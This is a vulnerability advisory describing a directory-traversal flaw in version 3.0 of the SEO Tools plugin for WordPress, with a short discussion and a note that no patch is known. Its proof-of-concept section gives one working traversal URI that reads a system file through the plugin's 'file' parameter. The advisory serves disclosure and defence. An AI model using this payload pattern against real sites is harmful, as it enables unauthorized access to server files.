SEO Tools Plugin for WordPress 'file' Parameter Directory Traversal Vulnerability

BID:44710

Info

SEO Tools Plugin for WordPress 'file' Parameter Directory Traversal Vulnerability

Bugtraq ID: 44710
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 08 2010 12:00AM
Updated: Nov 08 2010 12:00AM
Credit: John Leitch
Vulnerable: Scott Hendison SEO Tools Plugin for WordPress 3.0
Not Vulnerable:

Discussion

SEO Tools Plugin for WordPress 'file' Parameter Directory Traversal Vulnerability

The SEO Tools plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

SEO Tools 3.0 is vulnerable; other versions may also be affected.

Exploit / POC

SEO Tools Plugin for WordPress 'file' Parameter Directory Traversal Vulnerability

Attackers can exploit this issue through a browser.

The following example URI is available:

http://www.example.com/wordpress/wp-content/plugins/seo-automatic-seo-tools/feedcommander/get_download.php?file=../../../../../../../../windows/win.ini

Solution / Fix

SEO Tools Plugin for WordPress 'file' Parameter Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

SEO Tools Plugin for WordPress 'file' Parameter Directory Traversal Vulnerability

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